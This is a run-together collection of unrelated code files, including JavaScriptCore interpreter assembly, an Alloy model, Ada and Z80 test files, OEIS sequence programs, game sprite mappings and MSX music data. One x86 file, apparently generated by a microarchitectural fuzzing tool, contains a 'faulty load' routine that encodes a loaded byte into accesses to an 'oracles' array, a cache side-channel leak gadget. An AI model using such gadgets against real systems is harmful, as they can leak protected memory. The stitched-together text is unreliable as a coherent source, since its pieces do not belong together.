bbneq Structure::m_typeInfo + TypeInfo::m_type[t1], StringType, .opSwitchCharFallThrough
bineq JSString::m_length[t0], 1, .opSwitchCharFallThrough
loadp JSString::m_value[t0], t0
btpz t0, .opSwitchOnRope
loadp StringImpl::m_data8[t0], t1
btinz StringImpl::m_hashAndFlags[t0], HashFlags8BitBuffer, .opSwitchChar8Bit
loadh [t1], t0
jmp .opSwitchCharReady
.opSwitchChar8Bit:
loadb [t1], t0
.opSwitchCharReady:
subi SimpleJumpTable::min[t2], t0
biaeq t0, SimpleJumpTable::branchOffsets + VectorSizeOffset[t2], .opSwitchCharFallThrough
loadp SimpleJumpTable::branchOffsets + VectorBufferOffset[t2], t2
loadi [t2, t0, 4], t1
btiz t1, .opSwitchCharFallThrough
dispatchBranchWithOffset(t1)
.opSwitchCharFallThrough:
dispatchBranch(8[PC])
.opSwitchOnRope:
callSlowPath(_llint_slow_path_switch_char)
dispatch(0)
_llint_op_new_func:
traceExecution()
btiz 12[PC], .opNewFuncUnchecked
loadi 4[PC], t1
bineq TagOffset[cfr, t1, 8], EmptyValueTag, .opNewFuncDone
.opNewFuncUnchecked:
callSlowPath(_llint_slow_path_new_func)
.opNewFuncDone:
dispatch(4)
macro arrayProfileForCall()
if VALUE_PROFILER
loadi 12[PC], t3
bineq ThisArgumentOffset + TagOffset[cfr, t3, 8], CellTag, .done
loadi ThisArgumentOffset + PayloadOffset[cfr, t3, 8], t0
loadp JSCell::m_structure[t0], t0
loadp 20[PC], t1
storep t0, ArrayProfile::m_lastSeenStructure[t1]
.done:
end
end
macro doCall(slowPath)
loadi 4[PC], t0
loadi 16[PC], t1
loadp LLIntCallLinkInfo::callee[t1], t2
loadConstantOrVariablePayload(t0, CellTag, t3, .opCallSlow)
bineq t3, t2, .opCallSlow
loadi 12[PC], t3
addp 24, PC
lshifti 3, t3
addp cfr, t3 # t3 contains the new value of cfr
loadp JSFunction::m_scope[t2], t0
storei t2, Callee + PayloadOffset[t3]
storei t0, ScopeChain + PayloadOffset[t3]
loadi 8 - 24[PC], t2
storei PC, ArgumentCount + TagOffset[cfr]
storep cfr, CallerFrame[t3]
storei t2, ArgumentCount + PayloadOffset[t3]
storei CellTag, Callee + TagOffset[t3]
storei CellTag, ScopeChain + TagOffset[t3]
move t3, cfr
callTargetFunction(t1)
.opCallSlow:
slowPathForCall(6, slowPath)
end
_llint_op_tear_off_activation:
traceExecution()
loadi 4[PC], t0
bieq TagOffset[cfr, t0, 8], EmptyValueTag, .opTearOffActivationNotCreated
callSlowPath(_llint_slow_path_tear_off_activation)
.opTearOffActivationNotCreated:
dispatch(2)
_llint_op_tear_off_arguments:
traceExecution()
loadi 4[PC], t0
subi 1, t0 # Get the unmodifiedArgumentsRegister
bieq TagOffset[cfr, t0, 8], EmptyValueTag, .opTearOffArgumentsNotCreated
callSlowPath(_llint_slow_path_tear_off_arguments)
.opTearOffArgumentsNotCreated:
dispatch(3)
_llint_op_ret:
traceExecution()
checkSwitchToJITForEpilogue()
loadi 4[PC], t2
loadConstantOrVariable(t2, t1, t0)
doReturn()
_llint_op_call_put_result:
loadi 4[PC], t2
loadi 8[PC], t3
storei t1, TagOffset[cfr, t2, 8]
storei t0, PayloadOffset[cfr, t2, 8]
valueProfile(t1, t0, t3)
traceExecution() # Needs to be here because it would clobber t1, t0
dispatch(3)
_llint_op_ret_object_or_this:
traceExecution()
checkSwitchToJITForEpilogue()
loadi 4[PC], t2
loadConstantOrVariable(t2, t1, t0)
bineq t1, CellTag, .opRetObjectOrThisNotObject
loadp JSCell::m_structure[t0], t2
bbb Structure::m_typeInfo + TypeInfo::m_type[t2], ObjectType, .opRetObjectOrThisNotObject
doReturn()
.opRetObjectOrThisNotObject:
loadi 8[PC], t2
loadConstantOrVariable(t2, t1, t0)
doReturn()
_llint_op_to_primitive:
traceExecution()
loadi 8[PC], t2
loadi 4[PC], t3
loadConstantOrVariable(t2, t1, t0)
bineq t1, CellTag, .opToPrimitiveIsImm
loadp JSCell::m_structure[t0], t2
bbneq Structure::m_typeInfo + TypeInfo::m_type[t2], StringType, .opToPrimitiveSlowCase
.opToPrimitiveIsImm:
storei t1, TagOffset[cfr, t3, 8]
storei t0, PayloadOffset[cfr, t3, 8]
dispatch(3)
.opToPrimitiveSlowCase:
callSlowPath(_llint_slow_path_to_primitive)
dispatch(3)
_llint_op_next_pname:
traceExecution()
loadi 12[PC], t1
loadi 16[PC], t2
loadi PayloadOffset[cfr, t1, 8], t0
bieq t0, PayloadOffset[cfr, t2, 8], .opNextPnameEnd
loadi 20[PC], t2
loadi PayloadOffset[cfr, t2, 8], t2
loadp JSPropertyNameIterator::m_jsStrings[t2], t3
loadi PayloadOffset[t3, t0, 8], t3
addi 1, t0
storei t0, PayloadOffset[cfr, t1, 8]
loadi 4[PC], t1
storei CellTag, TagOffset[cfr, t1, 8]
storei t3, PayloadOffset[cfr, t1, 8]
loadi 8[PC], t3
loadi PayloadOffset[cfr, t3, 8], t3
loadp JSCell::m_structure[t3], t1
bpneq t1, JSPropertyNameIterator::m_cachedStructure[t2], .opNextPnameSlow
loadp JSPropertyNameIterator::m_cachedPrototypeChain[t2], t0
loadp StructureChain::m_vector[t0], t0
btpz [t0], .opNextPnameTarget
.opNextPnameCheckPrototypeLoop:
bieq Structure::m_prototype + TagOffset[t1], NullTag, .opNextPnameSlow
loadp Structure::m_prototype + PayloadOffset[t1], t2
loadp JSCell::m_structure[t2], t1
bpneq t1, [t0], .opNextPnameSlow
addp 4, t0
btpnz [t0], .opNextPnameCheckPrototypeLoop
.opNextPnameTarget:
dispatchBranch(24[PC])
.opNextPnameEnd:
dispatch(7)
.opNextPnameSlow:
callSlowPath(_llint_slow_path_next_pname) # This either keeps the PC where it was (causing us to loop) or sets it to target.
dispatch(0)
_llint_op_catch:
# This is where we end up from the JIT's throw trampoline (because the
# machine code return address will be set to _llint_op_catch), and from
# the interpreter's throw trampoline (see _llint_throw_trampoline).
# The JIT throwing protocol calls for the cfr to be in t0. The throwing
# code must have known that we were throwing to the interpreter, and have
# set VM::targetInterpreterPCForThrow.
move t0, cfr
loadp JITStackFrame::vm[sp], t3
loadi VM::targetInterpreterPCForThrow[t3], PC
loadi VM::exception + PayloadOffset[t3], t0
loadi VM::exception + TagOffset[t3], t1
storei 0, VM::exception + PayloadOffset[t3]
storei EmptyValueTag, VM::exception + TagOffset[t3]
loadi 4[PC], t2
storei t0, PayloadOffset[cfr, t2, 8]
storei t1, TagOffset[cfr, t2, 8]
traceExecution() # This needs to be here because we don't want to clobber t0, t1, t2, t3 above.
dispatch(2)
# Gives you the scope in t0, while allowing you to optionally perform additional checks on the
# scopes as they are traversed. scopeCheck() is called with two arguments: the register
# holding the scope, and a register that can be used for scratch. Note that this does not
# use t3, so you can hold stuff in t3 if need be.
macro getDeBruijnScope(deBruijinIndexOperand, scopeCheck)
loadp ScopeChain + PayloadOffset[cfr], t0
loadi deBruijinIndexOperand, t2
btiz t2, .done
loadp CodeBlock[cfr], t1
bineq CodeBlock::m_codeType[t1], FunctionCode, .loop
btbz CodeBlock::m_needsActivation[t1], .loop
loadi CodeBlock::m_activationRegister[t1], t1
# Need to conditionally skip over one scope.
bieq TagOffset[cfr, t1, 8], EmptyValueTag, .noActivation
scopeCheck(t0, t1)
loadp JSScope::m_next[t0], t0
.noActivation:
subi 1, t2
btiz t2, .done
.loop:
scopeCheck(t0, t1)
loadp JSScope::m_next[t0], t0
subi 1, t2
btinz t2, .loop
.done:
end
_llint_op_get_scoped_var:
traceExecution()
# Operands are as follows:
# 4[PC] Destination for the load.
# 8[PC] Index of register in the scope.
# 12[PC] De Bruijin index.
getDeBruijnScope(12[PC], macro (scope, scratch) end)
loadi 4[PC], t1
loadi 8[PC], t2
loadp JSVariableObject::m_registers[t0], t0
loadi TagOffset[t0, t2, 8], t3
loadi PayloadOffset[t0, t2, 8], t0
storei t3, TagOffset[cfr, t1, 8]
storei t0, PayloadOffset[cfr, t1, 8]
loadi 16[PC], t1
valueProfile(t3, t0, t1)
dispatch(5)
_llint_op_put_scoped_var:
traceExecution()
getDeBruijnScope(8[PC], macro (scope, scratch) end)
loadi 12[PC], t1
loadConstantOrVariable(t1, t3, t2)
loadi 4[PC], t1
writeBarrier(t3, t2)
loadp JSVariableObject::m_registers[t0], t0
storei t3, TagOffset[t0, t1, 8]
storei t2, PayloadOffset[t0, t1, 8]
dispatch(4)
_llint_op_end:
traceExecution()
checkSwitchToJITForEpilogue()
loadi 4[PC], t0
assertNotConstant(t0)
loadi TagOffset[cfr, t0, 8], t1
loadi PayloadOffset[cfr, t0, 8], t0
doReturn()
_llint_throw_from_slow_path_trampoline:
# When throwing from the interpreter (i.e. throwing from LLIntSlowPaths), so
# the throw target is not necessarily interpreted code, we come to here.
# This essentially emulates the JIT's throwing protocol.
loadp JITStackFrame::vm[sp], t1
loadp VM::callFrameForThrow[t1], t0
jmp VM::targetMachinePCForThrow[t1]
_llint_throw_during_call_trampoline:
preserveReturnAddressAfterCall(t2)
loadp JITStackFrame::vm[sp], t1
loadp VM::callFrameForThrow[t1], t0
jmp VM::targetMachinePCForThrow[t1]
macro nativeCallTrampoline(executableOffsetToFunction)
storep 0, CodeBlock[cfr]
loadp CallerFrame[cfr], t0
loadi ScopeChain + PayloadOffset[t0], t1
storei CellTag, ScopeChain + TagOffset[cfr]
storei t1, ScopeChain + PayloadOffset[cfr]
if X86
loadp JITStackFrame::vm + 4[sp], t3 # Additional offset for return address
storep cfr, VM::topCallFrame[t3]
peek 0, t1
storep t1, ReturnPC[cfr]
move cfr, t2 # t2 = ecx
subp 16 - 4, sp
loadi Callee + PayloadOffset[cfr], t1
loadp JSFunction::m_executable[t1], t1
move t0, cfr
call executableOffsetToFunction[t1]
addp 16 - 4, sp
loadp JITStackFrame::vm + 4[sp], t3
elsif ARM or ARMv7 or ARMv7_TRADITIONAL
loadp JITStackFrame::vm[sp], t3
storep cfr, VM::topCallFrame[t3]
move t0, t2
preserveReturnAddressAfterCall(t3)
storep t3, ReturnPC[cfr]
move cfr, t0
loadi Callee + PayloadOffset[cfr], t1
loadp JSFunction::m_executable[t1], t1
move t2, cfr
call executableOffsetToFunction[t1]
restoreReturnAddressBeforeReturn(t3)
loadp JITStackFrame::vm[sp], t3
elsif MIPS or SH4
loadp JITStackFrame::vm[sp], t3
storep cfr, VM::topCallFrame[t3]
move t0, t2
preserveReturnAddressAfterCall(t3)
storep t3, ReturnPC[cfr]
move cfr, t0
loadi Callee + PayloadOffset[cfr], t1
loadp JSFunction::m_executable[t1], t1
move t2, cfr
move t0, a0
call executableOffsetToFunction[t1]
restoreReturnAddressBeforeReturn(t3)
loadp JITStackFrame::vm[sp], t3
elsif C_LOOP
loadp JITStackFrame::vm[sp], t3
storep cfr, VM::topCallFrame[t3]
move t0, t2
preserveReturnAddressAfterCall(t3)
storep t3, ReturnPC[cfr]
move cfr, t0
loadi Callee + PayloadOffset[cfr], t1
loadp JSFunction::m_executable[t1], t1
move t2, cfr
cloopCallNative executableOffsetToFunction[t1]
restoreReturnAddressBeforeReturn(t3)
loadp JITStackFrame::vm[sp], t3
else
error
end
bineq VM::exception + TagOffset[t3], EmptyValueTag, .exception
ret
.exception:
preserveReturnAddressAfterCall(t1) # This is really only needed on X86
loadi ArgumentCount + TagOffset[cfr], PC
callSlowPath(_llint_throw_from_native_call)
jmp _llint_throw_from_slow_path_trampoline
end
|
alloy4fun_models/trashltl/models/18/T56wqdvPj8XB4QRE2.als | Kaixi26/org.alloytools.alloy | 0 | 330 | open main
pred idT56wqdvPj8XB4QRE2_prop19 {
all f : Protected | f in Trash until f not in Protected
}
pred __repair { idT56wqdvPj8XB4QRE2_prop19 }
check __repair { idT56wqdvPj8XB4QRE2_prop19 <=> prop19o } |
src/test_macro/test5.asm | hra1129/zma | 8 | 86112 | <reponame>hra1129/zma
palette macro palette_no, red, green, blue
ld b, palette_no
ld de, ((green) << 8) | ((red) << 4) | (blue)
endm
palette 0, 0, 0, 0
palette 1, 1, 0, 0
palette 2, 2, 0, 0
palette 3, 3, 0, 0
|
tests/syntax_examples/src/task_subprogram_calls.adb | TNO/Dependency_Graph_Extractor-Ada | 1 | 3254 | <filename>tests/syntax_examples/src/task_subprogram_calls.adb
with Ada.Streams;
with Ada.Streams.Stream_IO;
with System;
with Other_Basic_Subprogram_Calls; use Other_Basic_Subprogram_Calls;
package body Task_Subprogram_Calls is
type R is
record
I : Integer;
end record;
type S is access R;
procedure R_Output(Stream : not null access Ada.Streams.Root_Stream_Type'Class; Item : in R);
for R'Output use R_Output;
for S'Storage_Size use Other_F1;
procedure R_Test is
I : R := (I => 42);
J : Integer := S'Storage_Size;
F : Ada.Streams.Stream_IO.File_Type;
S : Ada.Streams.Stream_IO.Stream_Access;
N : constant String := "foobar.bin";
begin
Ada.Streams.Stream_IO.Create(F, Ada.Streams.Stream_IO.Out_File, N);
S := Ada.Streams.Stream_IO.Stream(F);
R'Output(S, I);
end R_Test;
procedure R_Output(Stream : not null access Ada.Streams.Root_Stream_Type'Class; Item : in R) is
begin
Integer'Output(Stream, Item.I);
end R_Output;
function FR return access R is
begin
return new R;
end FR;
function F1 return Boolean is
begin
return False;
end F1;
function F2(B : Boolean) return Boolean is
I : Integer;
begin
I := Integer'First;
return B;
end F2;
type ET is (A, B, C);
function F3 return ET is
begin
return B;
end F3;
procedure Test1 is
T : T1;
begin
T.E1;
end Test1;
task body T1 is
I : Integer;
begin
accept E1;
FR.I := 42;
I := Other_Basic_Subprogram_Calls.Other_F1;
FR.I := E1'Count;
exception
when E : Program_Error =>
null;
end T1;
task body T2 is
begin
accept E1;
loop
select
when True =>
accept E1 do
Other_Basic_Subprogram_Calls.Other_P1;
end E1;
or
when F1 =>
accept E2 do
Other_Basic_Subprogram_Calls.Other_P1;
end E2;
or
when F2(False) =>
terminate;
end select;
end loop;
end T2;
procedure Test2 is
T : T1;
U : T2;
task T3 is
entry E1;
entry E2(I : in out Integer);
entry E3(1 .. 10);
entry E4(1 .. 10)(I : Integer);
end T3;
task body T3 is
begin
accept E1;
accept E2(I : in out Integer) do
I := I + 1;
end;
accept E3(4);
accept E4(5)(I : Integer);
end T3;
I : Integer := 42;
procedure E_Rename renames T3.E1;
begin
T.E1;
U.E1;
U.E1;
U.E2;
T3.E1;
T3.E2(I);
E_Rename;
T3.E3(5);
T3.E4(5)(42);
end Test2;
procedure Test3 is
P : PT1;
I : Integer;
begin
P.P1;
P.P2(42);
I := P.F1;
I := P.F2(42);
P.E1;
P.E2(42);
P.E4(5);
P.E5(5)(42);
end Test3;
protected body PT1 is
procedure P1 is
begin
null;
end P1;
procedure P2(I : Integer) is
begin
null;
end P2;
function F1 return Integer is
begin
return 42;
end F1;
function F2(I : Integer) return Integer is
begin
return I;
end F2;
entry E1 when F2(True) is
begin
null;
end E1;
entry E2(I : Integer) when F1 is
begin
null;
end E2;
entry E4(for J in 1 .. 5) when F1 is
begin
null;
end E4;
entry E5(for J in 1 .. 5)(I : Integer) when True is
K : Integer := E1'Count;
begin
null;
end E5;
entry E6 when F2(True) is
begin
null;
end E6;
end PT1;
procedure Test4 is
P : PT1;
I : Integer;
S : String := A'Image;
begin
P.P1;
P.P2(42);
I := P.F1;
I := P.F2(42);
P.E1;
P.E2(42);
P.E4(5);
P.E5(5)(42);
end Test4;
function Foo return ET renames A;
type RT(D : Integer) is
record
C : Integer;
end record;
function F4 return RT is
begin
return E : RT(Other_Basic_Subprogram_Calls.Other_F1) do
E.C := Other_Basic_Subprogram_Calls.Other_F1;
end return;
end F4;
procedure P5(R : RT) is
I : Integer;
begin
I := R.D;
end;
end Task_Subprogram_Calls;
|
oeis/097/A097705.asm | neoneye/loda-programs | 11 | 82987 | ; A097705: a(n) = 4*a(n-1) + 17*a(n-2), a(1)=1, a(2)=4.
; Submitted by <NAME>
; 1,4,33,200,1361,8844,58513,384400,2532321,16664084,109705793,722112600,4753448881,31289709724,205967469873,1355794944800,8924626767041,58747021129764,386706739558753,2545526317441000
add $0,1
seq $0,231280 ; Number of n X 3 0..3 arrays x(i,j) with each element horizontally or antidiagonally next to at least one element with value (x(i,j)+1) mod 4, and upper left element zero.
div $0,2
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48.log_21829_2520.asm | ljhsiun2/medusa | 9 | 99994 | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r13
push %r15
push %r9
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_normal_ht+0x11df6, %r10
dec %r15
mov (%r10), %r13
nop
nop
nop
nop
nop
add $13228, %r9
lea addresses_WC_ht+0x13756, %rsi
lea addresses_D_ht+0x9586, %rdi
clflush (%rsi)
xor $56416, %rdx
mov $67, %rcx
rep movsl
nop
nop
nop
nop
nop
xor $39943, %rsi
lea addresses_UC_ht+0x1e9e6, %rdx
nop
nop
add %r15, %r15
mov (%rdx), %edi
nop
nop
cmp %r15, %r15
lea addresses_WC_ht+0x1c3d6, %r13
nop
nop
nop
nop
nop
dec %r15
mov $0x6162636465666768, %r10
movq %r10, %xmm6
movups %xmm6, (%r13)
nop
nop
nop
nop
nop
and $65454, %r9
lea addresses_WC_ht+0xf6b6, %rsi
lea addresses_normal_ht+0x18496, %rdi
nop
nop
nop
cmp %r13, %r13
mov $114, %rcx
rep movsb
nop
nop
nop
nop
and $57041, %rdx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r9
pop %r15
pop %r13
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r15
push %rax
push %rdi
push %rsi
// Faulty Load
lea addresses_normal+0x8ff6, %r15
nop
add $30736, %rdi
movups (%r15), %xmm0
vpextrq $0, %xmm0, %rsi
lea oracles, %rax
and $0xff, %rsi
shlq $12, %rsi
mov (%rax,%rsi,1), %rsi
pop %rsi
pop %rdi
pop %rax
pop %r15
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': True, 'congruent': 0, 'size': 4, 'same': True, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': True, 'congruent': 9, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 2, 'size': 4, 'same': False, 'NT': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 4, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
|
programs/oeis/040/A040300.asm | neoneye/loda | 22 | 179610 | ; A040300: Continued fraction for sqrt(318).
; 17,1,4,1,34,1,4,1,34,1,4,1,34,1,4,1,34,1,4,1,34,1,4,1,34,1,4,1,34,1,4,1,34,1,4,1,34,1,4,1,34,1,4,1,34,1,4,1,34,1,4,1,34,1,4,1,34,1,4,1,34,1,4,1,34,1,4,1,34,1,4,1,34,1,4,1,34,1,4,1,34,1,4,1
seq $0,40304 ; Continued fraction for sqrt(322).
dif $0,4
|
programs/oeis/097/A097300.asm | jmorken/loda | 1 | 26320 | ; A097300: Tenth column (m=9) of (1,6)-Pascal triangle A096956.
; 6,55,280,1045,3190,8437,20020,43615,88660,170170,311168,545870,923780,1514870,2416040,3759074,5720330,8532425,12498200,18007275,25555530,35767875,49424700,67492425,91158600,121872036,161388480,211822380
lpb $0
mov $2,$0
cal $2,97299 ; Ninth column (m=8) of (1,6)-Pascal triangle A096956.
sub $0,1
add $1,$2
lpe
add $1,6
|
Working Disassembly/Levels/LBZ/Misc Object Data/Map - Unused Elevator.asm | TeamASM-Blur/Sonic-3-Blue-Balls-Edition | 5 | 6616 | <filename>Working Disassembly/Levels/LBZ/Misc Object Data/Map - Unused Elevator.asm
Map_2248EA: dc.w Frame_2248EC-Map_2248EA ; ...
Frame_2248EC: dc.w 6
dc.b $F8, $D, 0,$10,$FF,$D0
dc.b $F8, 5, 0,$14,$FF,$F0
dc.b $F8, 5, 0,$14, 0, 0
dc.b $F8, $D, 8,$10, 0,$10
dc.b 8, 5, 0,$18,$FF,$F0
dc.b 8, 5, 8,$18, 0, 0
|
src/autogenerated/music/ending.asm | jannone/westen | 49 | 104131 | include "../../constants.asm"
org #0000
song:
db 7,184
song_loop:
db MUSIC_CMD_REPEAT, 2
db MUSIC_CMD_SET_INSTRUMENT, MUSIC_INSTRUMENT_PIANO, 0
db MUSIC_CMD_PLAY_INSTRUMENT_CH1, 18
db 9, 0
db 10, 0
db MUSIC_CMD_SKIP
db MUSIC_CMD_SKIP
db MUSIC_CMD_SET_INSTRUMENT, MUSIC_INSTRUMENT_PIANO_SOFT, 1
db MUSIC_CMD_PLAY_INSTRUMENT_CH2 + MUSIC_CMD_TIME_STEP_FLAG, 23
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_INSTRUMENT_CH2 + MUSIC_CMD_TIME_STEP_FLAG, 27
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_INSTRUMENT_CH2 + MUSIC_CMD_TIME_STEP_FLAG, 23
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_INSTRUMENT_CH2 + MUSIC_CMD_TIME_STEP_FLAG, 29
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_INSTRUMENT_CH2 + MUSIC_CMD_TIME_STEP_FLAG, 23
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_INSTRUMENT_CH2 + MUSIC_CMD_TIME_STEP_FLAG, 30
db MUSIC_CMD_SKIP
db MUSIC_CMD_SKIP
db MUSIC_CMD_SKIP
db MUSIC_CMD_SKIP
db MUSIC_CMD_SKIP
db MUSIC_CMD_END_REPEAT
db MUSIC_CMD_SET_INSTRUMENT, MUSIC_INSTRUMENT_PIANO, 0
db MUSIC_CMD_PLAY_INSTRUMENT_CH1, 15
db MUSIC_CMD_SET_INSTRUMENT, MUSIC_INSTRUMENT_SQUARE_WAVE, 1
db 9, 0
db 10, 0
db MUSIC_CMD_SKIP
db MUSIC_CMD_SKIP
db MUSIC_CMD_SET_INSTRUMENT, MUSIC_INSTRUMENT_PIANO_SOFT, 1
db MUSIC_CMD_PLAY_INSTRUMENT_CH2 + MUSIC_CMD_TIME_STEP_FLAG, 20
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_INSTRUMENT_CH2 + MUSIC_CMD_TIME_STEP_FLAG, 27
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_INSTRUMENT_CH2 + MUSIC_CMD_TIME_STEP_FLAG, 20
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_INSTRUMENT_CH2 + MUSIC_CMD_TIME_STEP_FLAG, 29
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_INSTRUMENT_CH2 + MUSIC_CMD_TIME_STEP_FLAG, 20
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_INSTRUMENT_CH2 + MUSIC_CMD_TIME_STEP_FLAG, 30
db MUSIC_CMD_SKIP
db MUSIC_CMD_SKIP
db MUSIC_CMD_SKIP
db MUSIC_CMD_SKIP
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_INSTRUMENT_CH1, 15
db MUSIC_CMD_SET_INSTRUMENT, MUSIC_INSTRUMENT_SQUARE_WAVE, 1
db 9, 0
db 10, 0
db MUSIC_CMD_SKIP
db MUSIC_CMD_SKIP
db MUSIC_CMD_SET_INSTRUMENT, MUSIC_INSTRUMENT_PIANO_SOFT, 1
db MUSIC_CMD_PLAY_INSTRUMENT_CH2 + MUSIC_CMD_TIME_STEP_FLAG, 20
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_INSTRUMENT_CH2 + MUSIC_CMD_TIME_STEP_FLAG, 27
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_INSTRUMENT_CH2 + MUSIC_CMD_TIME_STEP_FLAG, 20
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_INSTRUMENT_CH2 + MUSIC_CMD_TIME_STEP_FLAG, 29
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_INSTRUMENT_CH2, 20
db MUSIC_CMD_PLAY_SFX_OPEN_HIHAT + MUSIC_CMD_TIME_STEP_FLAG
db MUSIC_CMD_PLAY_SFX_OPEN_HIHAT + MUSIC_CMD_TIME_STEP_FLAG
db MUSIC_CMD_PLAY_INSTRUMENT_CH2 + MUSIC_CMD_TIME_STEP_FLAG, 30
db MUSIC_CMD_PLAY_SFX_OPEN_HIHAT + MUSIC_CMD_TIME_STEP_FLAG
db MUSIC_CMD_SKIP
db MUSIC_CMD_PLAY_SFX_OPEN_HIHAT + MUSIC_CMD_TIME_STEP_FLAG
db MUSIC_CMD_PLAY_SFX_OPEN_HIHAT + MUSIC_CMD_TIME_STEP_FLAG
db MUSIC_CMD_PLAY_SFX_OPEN_HIHAT + MUSIC_CMD_TIME_STEP_FLAG
db MUSIC_CMD_REPEAT, 2
db MUSIC_CMD_SET_INSTRUMENT, MUSIC_INSTRUMENT_SQUARE_WAVE, 0
db 8, 0
db MUSIC_CMD_PLAY_INSTRUMENT_CH2, 18
db MUSIC_CMD_PLAY_INSTRUMENT_CH3 + MUSIC_CMD_TIME_STEP_FLAG, 8
db 10, 0
db MUSIC_CMD_SKIP
